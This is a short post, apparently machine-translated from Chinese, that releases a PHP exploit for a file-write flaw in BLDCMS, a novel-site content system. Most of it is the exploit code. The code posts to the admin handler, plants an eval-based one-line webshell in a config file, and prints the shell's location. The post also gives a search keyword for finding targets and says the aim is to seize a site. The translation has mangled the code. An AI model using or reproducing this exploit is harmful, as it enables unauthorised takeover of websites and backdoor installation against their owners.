BLDCMS (white boss novel) Getshell 0day EXP

I wanted to have a black and wide site and found a station using BLDCMS. I downloaded it and read it .. I found a getshell vulnerability. Last night, Qingtian Xiaozhu found at 90sec that someone sent the analysis of the getshell vulnerability. It was actually sent first. Now that someone sent the analysis, I wrote the EXP. release now

<? Phpecho "Login \ r \ n BLDCMS (white boss php novel thief) GETSHELL 0DAY EXP (GPC = Off) \ r \ n Vulnerability disability & Code by data stream @ wooyun QQ: 981009941 \ r \ n 2013.3.21 \ r \ n usage: php.exe EXP. php www.baidu.com/cms/pass (password in one sentence) \ r \ n Search Keyword: \ "Developer: white boss novel \" \ r \ n Baidu \ r \ n "; $ url = $ argv [1]; $ dir = $ Argv [2]; $ pass = $ argv [3]; $ eval = '\'; eval ($ _ POST ['. '"'. $ pass. '"'. ']); \ ''; if (empty ($ pass) | empty ($ url) {exit (" Enter the parameter ");} else {$ fuckdata = 'sitename = a & qq = 1 & getcontent = acurl & tongji = a & cmsmd5 = 1 & sqlite = '. $ eval; $ length = strlen ($ fuckdata); function getshell ($ url, $ pass) {global $ url, $ dir, $ pass, $ eval, $ length, $ fuckdata; $ header = "POST/admin/chuli. php? Action = a_1 HTTP/1.1 \ r \ n "; $ header. = "Content-Type: application/x-www-form-urlencoded \ r \ n"; $ header. = "User-Agent: MSIE \ r \ n"; $ header. = "Host :". $ url. "\ r \ n"; $ header. = "Content-Length :". $ length. "\ r \ n"; $ header. = "Connection: Close \ r \ n"; $ header. = "\ r \ n"; $ header. = $ fuckdata. "\ r \ n"; $ fp = fsockopen ($ url, 80, $ errno, $ errstr, 15); if (! $ Fp) {exit ("failed to use: Check whether the specified target can be opened properly");} else {if (! Fputs ($ fp, $ header) {exit ("failed to use");} else {$ receive = ''; while (! Feof ($ fp) {$ receive. = @ fgets ($ fp, 1000) ;}@ fclose ($ fp); echo "$ url/$ dir/conn/config/normal2.php pass: $ pass (if the connection fails, check whether the target GPC is = off) ";}}} getshell ($ url, $ pass);?>

By Data Flow